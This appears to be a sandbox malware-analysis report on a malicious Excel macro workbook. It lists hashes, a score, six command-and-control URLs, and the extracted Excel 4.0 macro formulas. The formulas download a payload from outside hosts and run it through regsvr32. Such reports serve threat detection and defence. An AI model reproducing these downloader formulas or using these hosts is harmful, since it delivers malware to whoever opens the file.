Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    9d836f737605d1b3a7f4a6408a46868321945f3f077378a4d74c7f19c729c55b

  • Size

    40KB

  • MD5

    c30feba87c70771945b320a76492e033

  • SHA1

    14b819c0a828c8ec59e5bfaeccb019fb70ee3ed9

  • SHA256

    9d836f737605d1b3a7f4a6408a46868321945f3f077378a4d74c7f19c729c55b

  • SHA512

    44daf19d0fe926a7bfc0972713ab31116404d077b14af9d0176faa8410a812916436a6adc769e4841ce1f9e6e9db081a5eefca3e1f6095825e168e8d0379abf8

  • SSDEEP

    768:tqhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:odom4DJwylND59V4jwmXc2CVf5Z

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

http://techplanbd.xyz/qel424/RSz4/

http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/

https://deine-bewerbung.com/wp-content/TKXpk/

https://livejagat.com/h/L37tCM6ppS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://techplanbd.xyz/qel424/RSz4/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/TKXpk/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/L37tCM6ppS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 9d836f737605d1b3a7f4a6408a46868321945f3f077378a4d74c7f19c729c55b
    .xlsm office2007